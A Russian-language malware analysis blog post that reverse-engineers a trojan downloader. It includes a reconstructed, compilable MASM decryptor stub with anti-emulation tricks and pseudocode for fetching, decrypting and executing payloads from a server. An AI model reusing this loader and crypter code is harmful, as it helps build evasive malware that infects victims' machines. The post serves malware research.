вторник, 10 апреля 2012 г.

Анализ Trojan-Downloader.Win32.Small.cgwk

Попался тут где то в середине марта экземпляр на Malware Domaian List  троян доунлоадер. Ну что ж поиследуем решил , на момент поимки его на вирустотале детектило 4 или 5 АВ. к концу марта уже 35/45 (линк).


Код доунлоадера разбавлен полиморфным мусором, что несколько затрудняет анализ. Имеем следующую картину



Можно забить и анализировать так, благо кода всетаки не так много, но лень двигатель прогресса и для облегчения своей задачи воспользуемся прекрасным плагином для IdaPro - CodeDoctor (взять тут http://tuts4you.com). Ок. имеем следующую картину:


И это уже гораздо приятней =)



И собственно ниже код первой части (назовем ее декриптовщик) доунлоадера виде bat файла, полностью рабочий, выкинута только шифрованая часть (в листинге CrBlock внутрь этого блока и передается управление полсле декриптовки). Основная задача декриптовщика реализована двумя потоками: генерации ключа (GenerateNewKeyDecrypto) и расшифровки (ThreadDecrypt), так же код разбавлен (полезными и бесполезными =) ) вызовами Win Api, предназначеные для обламывания некоторых эмуляторов (имхо щас уже таких "тупеньких" не осталось уже ... я ошибаюсь , не ? или все таки нет, так сначало его детектило 4-5 АВ ...)

-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
;@echo off
;goto make

; █████████████████████████████████████████████████████
; █       
; █           Reverse engineering TrojanDownloader.Win32.Small.cgwk
; █                by MalwRecon http://malwrecon.blogspot.com           
; █
; █████████████████████████████████████████████████████

.386
.model flat, stdcall
option casemap:none
option prologue:none


include d:\masm32\include\urlmon.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\windows.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\gdi32.inc


includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\urlmon.lib
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\gdi32.lib


; enum STATE_KEY_CRYPT
KEY_CRYPT_NEED_NEW  = 0
KEY_CRYPT_GENERATED  = 1
KEY_CRYPT_ALREADY  = 2


.code
scode:
        jmp    start_0

;-=-=-=-=-=-=-=-=-=-=-=-=-|CryptoDataBlock|-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CrBlock        db 4296 dup(0h)        ; тут типа должны быть криптованные даные
OEP        dd 0            ; на самом деле этот dd находится внутри
;закриптованого блока , но чтоб масм не ругался я тут хитрю =)
;-=-=-=-=-=-=-=-=-=-=-=-=-|CryptoDataBlock|-=-=-=-=-=-=-=-=-=-=-=-=-=-=



KeyID        dd 0D1DA10C0h        ; Ключ/ID зашитый по умолчанию в код
                   
hDecryptThread    dd 0h
hGenerateThread    dd 0h           
KeyDeCrypto    dd 0h       
StateKeyCrypt    dd 0h
ptrBeginCryptoBlock dd offset CrBlock   
sizeblock    dd 4295           
hdc        dd 0h       
real_OEP    dd offset OEP        ; Сюда переходим после декриптовки блока


Exit_1:                   
                   
        mov    eax, 1
        push    1        ; uExitCode
        call    _ExitProcess
        retn

GenerateNewKeyDecrypto proc near   

        pop    ecx        ; return  go_waitgener
        pop    edx        ; ptr KeyDecrypto
        push    ecx        ; save ret addr    go_waitgener
        mov    eax, KeyID   
        mov    ecx, eax
        rol    eax, 3
        and    al, 11111011b
        xchg    ah, al       
        jmp    short loc_13141E

padgo1:               
        xor    eax, ecx    ; keydecrypto =    keydecrypto ^ KeyID
        add    eax, 201h    ; keydecrypto =    keydecrypto + 0x201
        mov    KeyID, eax    ; KeyID    = keydecrypto
        ror    eax, 10h
        jmp    short store_new_keycrypt
        jmp    Exit_1
        retn

loc_13141E:               
        xchg    ah, al       
        nop
        and    al, 11111100b   
        jmp    padgo1

store_new_keycrypt:           
        ror    eax, 8        ; keydecrypto ror 18h
        mov    [edx], eax    ; edx -    ptr Keydecrypto, eax - new Keydecrypto
        mov    dword ptr [edx+4], KEY_CRYPT_ALREADY
        add    edx, 4
        retn           
GenerateNewKeyDecrypto endp
                   

_ApiGetDC        proc near       

        add    eax, 0ECh   
        test    eax, eax
        jnz    _GetDC
        mov    eax, [edx-1]
        sub    eax, 1
        add    eax, edx
        jmp    Exit_1
_ApiGetDC        endp

_ApiEnumFontsA    proc near       
        add    eax, 5
        jmp    _EnumFontA
_ApiEnumFontsA    endp


_ApiGetTickCount:               
        inc    ebx
        inc    edx
        push    offset retno3
        add    eax, 52Dh
        add    eax, 300h
        jnz    _GetTickCount
        add    ebx, 64h
        add    ecx, 64h

retno3:                   
        add    eax, 200
        nop
        retn


WaitGenerationKeyThread:

        pop    ebx        ; retno2
        mov    eax, hGenerateThread
        push    1        ; Ждем 1 мсек поток ThreadGenerationKey
        push    eax
        push    ebx        ; адрес    возврата  retno2
        jnz    _WaitForSingleObject

not_under_emu:               
        mov    hdc, eax   
        mov    ecx, 131102h    ; в мусор
        push    ecx       
        push    offset FontFunc
        push    hGenerateThread
        add    eax, 3
        push    hdc
        call    _ApiEnumFontsA
        push    eax        ; eax =    0
        inc    eax
        call    _GetLastError    ; return - 0xb7
        pop    eax        ; eax =    0
        mov    ecx, eax    ; ecx =    0
        mov    edx, eax    ; edx =    0
        inc    ebx
        inc    ebx
        inc    edx
        inc    ecx
        inc    ebp
        inc    edx
        inc    ebx
        inc    ecx
        retn            ; retno2


FontFunc:       
        mov    eax, [esp+10h]
        mov    dword ptr [eax+46Dh], 'ABCC'
        mov    dword ptr [eax+471h], 'ACBE'
        xor    eax, eax
        retn

begin_create_threads:   
        add    eax, 2        ; eax =    2
        xor    ebx, ebx
        mov    ecx, 4        ; ecx count =4 для запихивания в стек 4    dword'а по нулю =)

_loop_push_null:           
        push    ebx       
        sub    ecx, 1
        test    ecx, ecx
        jnz    short _loop_push_null
        push    offset ThreadDecrypt
        push    ebx
        push    ebx
        call    _CreateThread
        mov    hDecryptThread,    eax
        xor    ebx, ebx
        push    0
        push    0
        push    0
        push    0
        push    offset ThreadGenerationKey
        push    ebx
        push    ebx
        call    _CreateThread
        mov    hGenerateThread, eax
        mov    eax, hDecryptThread
        or    ebx, 0FFFFFFFFh   
        push    ebx            ; -1
        push    eax            ; hDecryptThread
        call    _WaitForSingleObject     ; Зациклились =)
        push    0
        call    _ExitProcess

ThreadDecrypt:               
        push    sizeblock        ; = 4295 bytes
        pop    ecx            ; ecx -    размер декриптуемого блока
        mov    esi, ptrBeginCryptoBlock

go_decrypt:               
        push    esi            ; сохраняем указатель на текущий для декриптовки байт
        mov    esi, ecx
        push    esi            ; esi =    size CryptedCode сохраняем размер оставшегося блока для    декриптовки

wait_key:               
        xor    eax, eax
        add    eax, 1
        push    eax
        call    _Sleep        ; "Засыпаем" на    1 мсек для того    чтоб подождать сгенерированного    ключа
        mov    eax, StateKeyCrypt
        cmp    eax, KEY_CRYPT_ALREADY ; Ключ готов ?
        jnz    wait_key    ; ждем еще
        jmp    decrypt_byte    ; Расшифровываем

go_next_byte:                ; двигаемся к следующему байту
        inc    esi        ; esi -    ptr to next byt
        push    eax        ; eax current Keydecrypto
        push    ebx        ; current decryped byte    будет использоваться как счетчик небольшой задержки
                  

ebx_zero_loop:               
        shl    ebx, 2
        jnz    short ebx_zero_loop
        mov    StateKeyCrypt, ebx ; set StateKeyCryt =    KEY_CRYPT_NEED_NEW
        pop    ebx       
        pop    eax        ; eax =    keydecrypto
        sub    ecx, 1        ; SizeCryptCode    -= 1 уменьшаем размер блока оставшегося для декриптовки
        test    ecx, ecx    ; this end ?
        jnz    go_decrypt      ; еще нет - работаем
        jmp    real_OEP

decrypt_byte:               
        pop    ecx        ; ecx =    текуший    размер даных оставшихся    для декриптовки
        pop    esi        ; esi =    указатель на текущий байт для декриптовки
        mov    eax, KeyDeCrypto
        mov    bl, [esi]
        xor    bl, al
        mov    [esi], bl
        jmp    short go_next_byte

ThreadGenerationKey:           
                   
        mov    eax, 1
        mov    StateKeyCrypt, KEY_CRYPT_GENERATED
        push    offset KeyDeCrypto
        call    GenerateNewKeyDecrypto

go_waitgener:               
        push    eax        ; Сгенерированый KeyDecrypto
        push    ebx        ; ebx =    0
        push    ecx        ; KeyID
        sub    ebx, 1        ; ebx =    -1
        mov    eax, 0CAh
        call    WaitGenerationKeyThread

retno2:
        mov    ebx, 0Ch
        sub    eax, 0Ch    ; eax =    0xf6

go_tickcount:               
        call    _ApiGetTickCount
        mov    ebx, 6Fh
        and    eax, 1
        or    eax, eax
        jz    short chk_state_keycrypt
        mov    eax, 0Ch
        jmp    short go_tickcount

chk_state_keycrypt:           
        pop    ecx
        pop    ebx        ; ebx =    0
        pop    eax        ; restore current KeyCrypt
        cmp    StateKeyCrypt, KEY_CRYPT_NEED_NEW ; need new KeyCrypt?
        jz    ThreadGenerationKey
        jmp    go_waitgener

nextgo3:               
        mov    ebx, 0D0Eh   
        pop    eax        ; eax =    0
        mov    ecx, 2212h
        jmp    nextgo4

nextgo:                   
        shl    eax, 1
        push    eax        ; eax =    0
        add    eax, 0A78h    ; eax =    0xa78
        add    ebx, 16Eh    ; ebx =    0x7ffda16e
        add    ecx, 5A4h    ; ecx =    0x240554
        jmp    short nextgo2

start_0:
        push    0FFFFFBB2h
        mov    esi, 0FFFFFBB3h
        jmp    short nextgo

nextgo2:
        inc    ebx
        add    ebx, eax
        inc    eax
        inc    ebx
        add    eax, ebx
        add    ebx, 1        ; ebx =    0x7ffdabe9
        inc    eax        ; eax =    0x7ffdb662
        jmp    nextgo3

nextgo4:               
        sub    ecx, 1
        add    eax, ecx
        inc    eax
        add    eax, ebx
        add    eax, 1        ; eax =    0x2f21
        pop    edi        ; edi =    0xfffffbb2
        inc    ecx

zro_ebx:               
        sub    ecx, 1
        sub    ebx, 1
        jnz    short zro_ebx    ; ebx is ZERO ??
        mov    eax, ebx    ; eax =    0
        push    ebx        ; push 0
        push    offset begin_create_threads
        push    ebx        ; push 0
        call    _ApiGetDC
        cmp    eax, 0       
        jnz    not_under_emu    ; Not under emul ?
        int    3        ; Trap to Debugger

_GetDC:       
        jmp    GetDC

_CreateThread:
        jmp    CreateThread

_ExitProcess:
        jmp    ExitProcess


_GetLastError:
        jmp    GetLastError

_GetTickCount:
        jmp    GetTickCount

_Sleep:
        jmp    Sleep

_WaitForSingleObject:
               
        jmp    WaitForSingleObject

_EnumFontA:
        jmp    EnumFonts

                end scode


:make

set sc=small_cgwk

d:\masm32\bin\ml /nologo /c /coff %sc%.bat
d:\masm32\bin\link /align:4 /nologo /entry:scode /out:%sc%.exe /subsystem:console %sc%.obj

del %sc%.obj

echo.
pause
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-


После , что совершенно логично =), управление передается на расшифрованный код (CrBlock). Картинка выглядит уже вот так, мусора полиморфного уже нет:


-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
OEP:
   
        call    GetRtlApi    ; тут получаем необходимые нам функции
        xor    eax, eax
        push    offset eventname ; "234edr45e"
        push    eax        ; BOOL bInitialState - nonsignaled будет создано
        inc    eax
        push    eax        ; BOOL bManualReset - если этот    параметр TRUE ,    то создается обект
                    ; котоырй должен быть сброшен вручную функцией ResetEvent
        dec    eax
        push    eax        ; LPSECURITY_ATTRIBUTES    lpEventAttributes
        call    j_fn__CreateEventA
        or    eax, eax
        jz    short already_run        ; создаем евент и проверяем не запущена ли уже копия
        call    j_fn_RtlGetLastWin32Error
        or    eax, eax
        jnz    short already_run
        call    InitWsaAndStartup        ; Инит Winsock
        call    AllocateBuffersForWork        ; Берем немного памяти под наши нужды
        call    GetPayloadAndRun        ; Основная продедура
already_run:
        xor    eax, eax
        push    eax
        call    j_fn_ExitProcess
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-

И затем после получения адресов нужных для работы доунлоадеру функций (GetRtlApi , в ней все стандартно , передали массив имен, получили массив адресов. Зачем то, кстати 2 раза получаем base address для kernell32 =)) наверно это фича), инициализации Winsock и выделения буферов, мы попадаем в основную функцию загрузки и запуска других вредоносов. Это функция GetPayloadAndRun.

Стоит отметить , что доунлоадер может получить и запустить неограниченое число других вредоносов, формат получаемых данных выглядит следующим образом:

|Новый ключ|длина блока 1|блок1|длина блока 2|блок 2|...|длина блока n|блок n|0|

Новый ключ - начальное значение нового ключа, которым зашифрован полученый , новый блок.
Соответствено длинна блока и сам блок. Доунлоадер будет последовательно расшифровывать и запускать блоки/exe

Функция  GetPayloadAndRun красиво укладывается в следующий псевдо код:

-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-
SOCKET __cdecl GetPayloadAndRun()
{
  SOCKET s;
  int SizeBlock;
  int ovl;
  HANDLE hFile;
  int ptr;
  DWORD exesize;
  const void *exe;
  int SizePayload;
  int Payload;

  s = CreateSocket();
  if ( s != -1 )
  {
    sock = s;
    s = ConnectToServer(s);
    if ( !s )
    {
      j_fn_send(sock, (const char *)&KeyID0, 7, 0);
      RecvPayloadFromServer(sock, (int)&Payload, (int)&SizePayload);
      KeyID0 = *(_DWORD *)Payload;              // получили новый Key для расшифровки
      SizePayload -= 4;
      ptr = Payload + 4;
      do
      {
        DecryptBytes(ptr, 4);                   // Декриптуем первые 4 байта - это размер блока
        SizeBlock = *(_DWORD *)ptr;             // Сохраняем его
        SizePayload -= 4;                       // Уменьшаем размер блока на 4 байта (4 байта под размер блока)
        ptr += 4;                               // Указатель соотвественно увеличиваем на 4
        DecryptBytes(ptr, SizeBlock);
        exe = (const void *)ptr;                // указатель на начало Exe файла
        exesize = SizeBlock;                           // Размер = размеру декриптуемого блока
        ptr += SizeBlock;            // указатель на слудующий блок
        j_fn_GetTempPathA(0xFEu, (CHAR *)tmpdir);// Подгототавливаем имя файла
        j_fn_GetTempFileNameA((const CHAR *)tmpdir, "2456", 0, (CHAR *)tmpfile);
        hFile = j_fn_CreateFileA((const CHAR *)tmpfile, 0x40000000u, 0, 0, 2u, 0x80u, 0);
        ovl = 0;
        j_fn__WriteFile(hFile, exe, exesize, (DWORD *)&ovl, 0);// Создаем и записываем его
        j_fn__CloseHandle((void *)ptr);
        s = (SOCKET)j_fn_CreateProcessA(
                      (const CHAR *)tmpfile, 0, 0, 0, 0, 0x20u, 0, 0, 
              (struct _STARTUPINFOA *)startupinfo,
                      (struct _PROCESS_INFORMATION *)procinfo);// Создаем процесс
      }
      while ( SizePayload );                    // если есть еще данные - продолжаем
    }
  }
  return s;
}
-=-=-=-=-=-=-=-=-=- | >8 | -=-=-=-=-=-=-=-=-=-=-

И вуаля и спасибо =)

Комментариев нет:

Отправить комментарий